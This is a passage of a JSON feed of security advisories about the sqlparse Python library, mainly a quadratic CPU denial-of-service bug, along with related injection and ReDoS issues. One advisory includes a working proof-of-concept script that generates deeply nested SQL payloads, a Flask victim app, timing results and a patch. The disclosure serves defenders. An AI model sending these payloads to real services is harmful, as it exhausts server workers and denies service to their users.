at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` → 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children's already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children's `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, 'parent', self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children's already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, ''.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` → `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).","status":"published","published":"2026-08-17T17:49:47Z","modified":"2026-09-10T03:50:53.865279436Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333","CWE-407"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"OESA-2026-4218","title":"python-sqlparse security update","description":"A non-validating SQL parser.\r\n\r\nSecurity Fix(es):\n\nsqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.(CVE-2026-54284)\n\nsqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, sqlparse/filters/output.py fails to escape existing backslashes before quotes in sqlparse.format output_format=\u0026apos;python\u0026apos; and output_format=\u0026apos;php\u0026apos; and the corresponding sqlformat -l modes, allowing crafted SQL to terminate the generated string and inject Python or PHP code when a downstream consumer executes or imports the generated source. This issue is fixed in version 0.6.0.(CVE-2026-59894)\n\nsqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, group_comments in sqlparse/engine/grouping.py repeatedly rescans comment-only statements before the MAX_GROUPING_TOKENS guard, causing quadratic CPU consumption through sqlparse.parse() and sqlparse.format(sql, strip_comments=True). This issue is fixed in version 0.6.0.(CVE-2026-71491)","status":"published","published":"2026-09-30T13:47:43Z","modified":"2026-10-01T02:00:09.666277559Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4219","title":"python-sqlparse security update","description":"A non-validating SQL parser.\r\n\r\nSecurity Fix(es):\n\nsqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.(CVE-2026-54284)\n\nsqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, sqlparse/filters/output.py fails to escape existing backslashes before quotes in sqlparse.format output_format=\u0026apos;python\u0026apos; and output_format=\u0026apos;php\u0026apos; and the corresponding sqlformat -l modes, allowing crafted SQL to terminate the generated string and inject Python or PHP code when a downstream consumer executes or imports the generated source. This issue is fixed in version 0.6.0.(CVE-2026-59894)\n\nsqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, group_comments in sqlparse/engine/grouping.py repeatedly rescans comment-only statements before the MAX_GROUPING_TOKENS guard, causing quadratic CPU consumption through sqlparse.parse() and sqlparse.format(sql, strip_comments=True). This issue is fixed in version 0.6.0.(CVE-2026-71491)","status":"published","published":"2026-09-30T13:47:43Z","modified":"2026-10-01T02:00:08.928552032Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"PYSEC-2026-3699","title":"sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger","description":"### Summary\n\n`sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.\n\nThe root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`).\n\nThis is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size.\n\n### Affected components\n\n`sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched.\n\n### Vulnerable code (file:line)\n\n[`sqlparse/sql.py#L162`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/sql.py#L162) (release 0.5.5) / [`sqlparse/sql.py#L167`](https://github.com/andialbrecht/sqlparse/blob/c923da9c5a8e8403dd32efc2171b60a177444d43/sqlparse/sql.py#L167) (current `master`):\n\n```python\nclass TokenList(Token):\n    __slots__ = 'tokens'\n\n    def __init__(self, tokens=None):\n        self.tokens = tokens or []\n        [setattr(token, 'parent', self) for token in self.tokens]\n        super().__init__(None, str(self))   # ← O(subtree) work per group\n        self.is_group = True\n\n    def __str__(self):\n        return ''.join(token.value for token in self.flatten())\n```\n\n`__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`.\n\nThe grouping pipeline that triggers it lives at [`sqlparse/engine/grouping.py#L80`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L80) (`group_parenthesis`) and [`sqlparse/engine/grouping.py#L84`](https://github.com/andialbrecht/sqlparse/blob/0.5.5/sqlparse/engine/grouping.py#L84) (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up.\n\n### Reachable / How input reaches the sink\n\n`sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` → `engine/grouping.py:group` → `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals.\n\nReal-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django's `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).\n\n### Proof of concept\n\nMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):\n\n```python\nimport sqlparse, time, signal\n\ndef _h(s, f): raise TimeoutError()\nsignal.signal(signal.SIGALRM, _h)\n\ndef measure(label, sql, fn):\n    signal.alarm(30)\n    t0 = time.perf_counter()\n    status = 'OK'\n    try:\n        fn(sql)\n    except sqlparse.exceptions.SQLParseError:\n        status = 'CAP'\n    except TimeoutError:\n        status = 'TIMEOUT'\n    finally:\n        signal.alarm(0)\n    dt = (time.perf_counter() - t0) * 1000\n    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')\n\n# Vector 1: deeply nested parentheses\nfor n in (200, 500, 1000, 2000):\n    sql = 'SELECT ' + '(' * n + '1' + ')' * n\n    measure(f'nested-paren n={n}', sql, sqlparse.parse)\n\n# Vector 2: deeply nested CASE WHEN\nfor n in (100, 200, 400):\n    case = '1'\n    for i in range(n):\n        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'\n    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)\n```\n\nOutput on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):\n\n```\n  CAP         80.7ms  nested-paren n=200  (408 B)\n  CAP       1342.9ms  nested-paren n=500  (1008 B)\n  CAP      11206.9ms  nested-paren n=1000  (2008 B)\n  TIMEOUT  \u003e10000ms   nested-paren n=2000  (4008 B)\n  CAP         83.1ms  CASE-nested n=100  (3405 B)\n  CAP        559.6ms  CASE-nested n=200  (6905 B)\n  CAP       5012.2ms  CASE-nested n=400  (13905 B)\n```\n\n`cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total):\n\n```\nncalls   cumtime  filename:lineno(function)\n   501    3.133   sqlparse/sql.py:165(__str__)\n   501    3.127   {method 'join' of 'str' objects}\n252504    3.110   sqlparse/sql.py:166(\u003cgenexpr\u003e)\n42168504 3.079   sqlparse/sql.py:207(flatten)\n```\n\n42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree.\n\n### End-to-end reproduction (against running consumer)\n\n`victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern):\n\n```python\nfrom flask import Flask, request, jsonify\nimport sqlparse, time\napp = Flask(__name__)\n\n@app.route('/parse', methods=['POST'])\ndef parse_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(sql)\n        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})\n    except sqlparse.exceptions.SQLParseError as e:\n        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400\n\n@app.route('/format', methods=['POST'])\ndef format_sql():\n    sql = request.get_data(as_text=True)\n    t0 = time.perf_counter()\n    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')\n    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5099, threaded=False)\n```\n\nDriver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request):\n\n```\n=== Baseline (benign payloads) ===\n  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms\n  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms\n  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms\n\n=== Malicious payloads (within default caps) ===\n  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False\n  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False\n  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False\n  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False\n  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False\n  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True\n```\n\nA 2 KB payload (`nested-paren n=1000`) pins one worker for 10 seconds at 100% CPU. With `gunicorn -w N` deploying the same app, `N` concurrent malicious requests exhaust every worker and bring the service down. The cap `SQLParseError` exception is delivered to the caller, but only *after* the CPU work is already burnt.\n\n### Impact\n\n- Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).\n- Multi-worker service: attacker sends `N` parallel requests, exhausts the worker pool.\n- Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).\n- Downstream library impact: `sql-metadata.Parser(sql).columns` calls `sqlparse.parse` internally and inherits the exact same hang (`nested-paren n=1000` → 11.3 s).\n\n### Suggested fix\n\nReplace the eager `str(self)` materialization with a single-pass concatenation of children's already-cached `value` fields. The `Token.value` invariant `value == str(self) at construction` is preserved (children's `value` is itself built the same way bottom-up), but the per-node cost drops from `O(subtree)` to `O(len(self.tokens))`:\n\n```python\ndef __init__(self, tokens=None):\n    self.tokens = tokens or []\n    [setattr(token, 'parent', self) for token in self.tokens]\n    # Avoid materializing the full subtree via str(self): concatenating\n    # children's already-cached `value` is O(len(tokens)) per group,\n    # whereas str(self) recursively flattens the entire subtree which is\n    # O(subtree) per node and turns nested grouping into O(n * depth).\n    super().__init__(None, ''.join(token.value for token in self.tokens))\n    self.is_group = True\n```\n\nMeasured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched `0d24023`):\n\n| Vector | Before fix | After fix | Speedup |\n|---|---|---|---|\n| nested-paren n=500 | 1336 ms | 11 ms | 121x |\n| nested-paren n=1000 | 11206 ms | 22 ms | 509x |\n| nested-paren n=2000 | TIMEOUT (\u003e10 s) | 45 ms | 220x+ |\n| CASE-nested n=200 | 559 ms | 25 ms | 22x |\n| CASE-nested n=500 | TIMEOUT (\u003e10 s) | 61 ms | 160x+ |\n| benign 1 KB SQL | 3 ms | 3 ms | unchanged |\n\nEnd-to-end Flask `victim_app` re-run against the patched library:\n\n```\n  nested-paren n=1000                        2008B  server=    34.6ms\n  nested-paren n=2000                        4008B  server=    67.2ms\n  CASE-nested n=400                         13905B  server=    49.5ms\n  benign 1 KB SQL                             220B  server=     3.4ms\n```\n\nThe IN-tuple `format()` vector observed at `n=1000` (3.8 s for ~10 KB input) is a separate quadratic in the `reindent` filter (`filters/reindent.py:_get_offset` → `_flatten_up_to_token`) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.\n\n### Fix PR\n\nA fix PR against the temp private fork, mirroring the diff above with a regression test (`test_nested_paren_within_cap_under_50ms`), is attached and linked from this advisory.\n\n### Credit\n\nReported by [tonghuaroot](https://github.com/tonghuaroot).","status":"published","published":"2026-08-19T11:56:27.06092Z","modified":"2026-08-19T12:45:09.690884766Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"RHLW-2026-7cb565d499929657","title":"Lightwell Security Advisory: sqlparse 0.5.5+rhlw.1","description":"Red Hat Lightwell has released sqlparse 0.5.5+rhlw.1 with backported fixes for CVE-2026-54284, CVE-2026-59893, CVE-2026-59894, CVE-2026-71491, and CVE-2026-84305.\n\nCVE-2026-54284: sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger\n\nCVE-2026-59893: sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)\n\nCVE-2026-59894: sqlparse: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes\n\nCVE-2026-71491: sqlparse: Quadratic O(n²) DoS in group_comments\n\nCVE-2026-84305: sqlparse: Reindentation of tuple lists causes near-cap quadratic CPU consumption\n\nThis patched artifact is a drop-in replacement for sqlparse 0.5.5 from PyPI.","status":"published","published":"2026-10-13T20:35:24Z","modified":"2026-11-06T19:43:12.440732746Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-06T20:08:20.701853Z"},{"id":"RHSA-2026:71112","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Product Security and Bug Fix Update","status":"published","published":"2026-09-24T10:15:14Z","modified":"2026-10-20T10:14:49Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:71113","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-09-24T10:15:15Z","modified":"2026-10-20T10:14:50Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:71114","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-09-24T10:15:16Z","modified":"2026-10-20T10:14:51Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74503","title":"Red Hat Security Advisory: Satellite 6.19.5 Async Update","status":"published","published":"2026-10-02T10:25:57Z","modified":"2026-10-20T10:15:35Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74504","title":"Red Hat Security Advisory: Satellite 6.18.10 Async Update","status":"published","published":"2026-10-02T10:25:58Z","modified":"2026-10-20T10:15:36Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74505","title":"Red Hat Security Advisory: Satellite 6.17.12 Async Update","status":"published","published":"2026-10-03T10:16:56Z","modified":"2026-10-20T10:15:36Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74506","title":"Red Hat Security Advisory: Satellite 6.16.14 Async Update","status":"published","published":"2026-10-02T10:25:58Z","modified":"2026-10-20T10:15:37Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"UBUNTU-CVE-2026-54284","description":"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.","status":"published","published":"2026-08-17T18:17:00Z","modified":"2026-09-24T02:00:33.658879257Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:11557-1","title":"python313-sqlparse-0.6.0-1.1 on GA media","description":"These are all security issues fixed in the python313-sqlparse-0.6.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-19T00:00:00Z","modified":"2026-08-21T09:15:07.70692127Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:21690-1","title":"Security update for python-sqlparse","description":"This update for python-sqlparse fixes the following issues:\n\n- CVE-2026-54284: high algorithm complexity when parsing SQL payloads with hundreds of nesting levels can lead to denial\n  of service via excessive resource consumption (bsc#1275459).\n- CVE-2026-59893: quadratic complexity when processing unmatched dollar-quoted literal and multiline-comment delimiters\n  can lead to denial of service (bsc#1275461).\n- CVE-2026-59894: improper backlash escaping allows for injection of Python or PHP code via a crafted SQL input\n  (bsc#1275460).\n- CVE-2026-71491: quadratic complexity in `group_comments` when processing comment-only statements can lead to denial\n  of services (bsc#1275466).\n- Incomplete GHSA-27jp-wm6q-gp25 patch (bsc#1268597).\n","status":"published","published":"2026-08-30T14:33:33Z","modified":"2026-08-31T18:15:04.199708819Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-PYPI-CVE-2026-54284","title":"CVE-2026-54284 in sqlparse - Patched by Root","description":"Root has patched CVE-2026-54284 in the sqlparse package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-06T10:16:34Z","modified":"2026-11-06T11:15:06.460470936Z","updated_at":"2026-11-06T11:42:45.055937Z"},{"id":"SUSE-SU-2026:23561-1","title":"Security update for python-sqlparse","description":"This update for python-sqlparse fixes the following issues:\n\n- CVE-2026-54284: high algorithm complexity when parsing SQL payloads with hundreds of nesting levels can lead to denial\n  of service via excessive resource consumption (bsc#1275459).\n- CVE-2026-59893: quadratic complexity when processing unmatched dollar-quoted literal and multiline-comment delimiters\n  can lead to denial of service (bsc#1275461).\n- CVE-2026-59894: improper backlash escaping allows for injection of Python or PHP code via a crafted SQL input\n  (bsc#1275460).\n- CVE-2026-71491: quadratic complexity in `group_comments` when processing comment-only statements can lead to denial\n  of services (bsc#1275466).\n- Incomplete GHSA-27jp-wm6q-gp25 patch (bsc#1268597).\n","status":"published","published":"2026-08-30T14:33:20Z","modified":"2026-09-29T18:23:08.350703129Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:3762-1","title":"Security update for python-sqlparse","description":"This update for python-sqlparse fixes the following issues:\n\n- CVE-2026-54284: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps\n  trigger (bsc#1275459).\n- CVE-2026-59893: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (bsc#1275461).\n- CVE-2026-59894: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes\n  (bsc#1275460).\n- CVE-2026-71491: quadratic O(n2) DoS in group_comments (bsc#1275466).\n","status":"published","published":"2026-08-24T18:24:43Z","modified":"2026-08-26T18:23:36.730938129Z","updated_at":"2026-11-02T15:54:05.392906Z"},{"id":"SUSE-SU-2026:3906-1","title":"Security update for python3-sqlparse","description":"This update for python3-sqlparse fixes the following issues:\n\n- CVE-2026-54284: high algorithm complexity when parsing SQL payloads with hundreds of nesting levels can lead to denial\n  of service via excessive resource consumption (bsc#1275459).\n- CVE-2026-59893: quadratic complexity when processing unmatched dollar-quoted literal and multiline-comment delimiters\n  can lead to denial of service (bsc#1275461).\n- CVE-2026-59894: improper backlash escaping allows for injection of Python or PHP code via a crafted SQL input\n  (bsc#1275460).\n- CVE-2026-71491: quadratic complexity in `group_comments` when processing comment-only statements can lead to denial\n  of services (bsc#1275466).\n","status":"published","published":"2026-09-01T09:10:15Z","modified":"2026-09-10T18:23:19.871951621Z","updated_at":"2026-11-02T15:54:05.392906Z"},{"id":"SUSE-SU-2026:3907-1","title":"Security update for python-sqlparse","description":"This update for python-sqlparse fixes the following issues:\n\n- CVE-2026-54284: high algorithm complexity when parsing SQL payloads with hundreds of nesting levels can lead to denial\n  of service via excessive resource consumption (bsc#1275459).\n- CVE-2026-59893: quadratic complexity when processing unmatched dollar-quoted literal and multiline-comment delimiters\n  can lead to denial of service (bsc#1275461).\n- CVE-2026-59894: improper backlash escaping allows for injection of Python or PHP code via a crafted SQL input\n  (bsc#1275460).\n- CVE-2026-71491: quadratic complexity in `group_comments` when processing comment-only statements can lead to denial\n  of services (bsc#1275466).\n","status":"published","published":"2026-09-01T09:10:50Z","modified":"2026-09-10T18:23:17.462130655Z","updated_at":"2026-11-02T15:54:05.392906Z"},{"id":"SUSE-SU-2026:3910-1","title":"Security update for python-sqlparse","description":"This update for python-sqlparse fixes the following issues:\n\n- CVE-2026-54284: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps\n  trigger (bsc#1275459).\n- CVE-2026-59893: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (bsc#1275461).\n- CVE-2026-59894: Generated Python and PHP snippets allow SQL string breakout through unescaped backslashes\n  (bsc#1275460).\n- CVE-2026-71491: quadratic O(n2) DoS in group_comments (bsc#1275466).\n","status":"published","published":"2026-09-01T10:04:37Z","modified":"2026-09-10T18:23:45.214932093Z","updated_at":"2026-11-02T15:54:05.392906Z"},{"id":"USN-8808-1","title":"sqlparse vulnerabilities","description":"It was discovered that SQL parse contained multiple algorithmic complexity\nflaws when parsing SQL statements with deeply nested parentheses, comments,\nor dollar-quoted string literals. An attacker could use this issue to cause\nSQL parse to consume excessive CPU resources, resulting in a denial of\nservice.","status":"published","published":"2026-09-23T18:19:12Z","modified":"2026-09-24T02:12:30.906562683Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}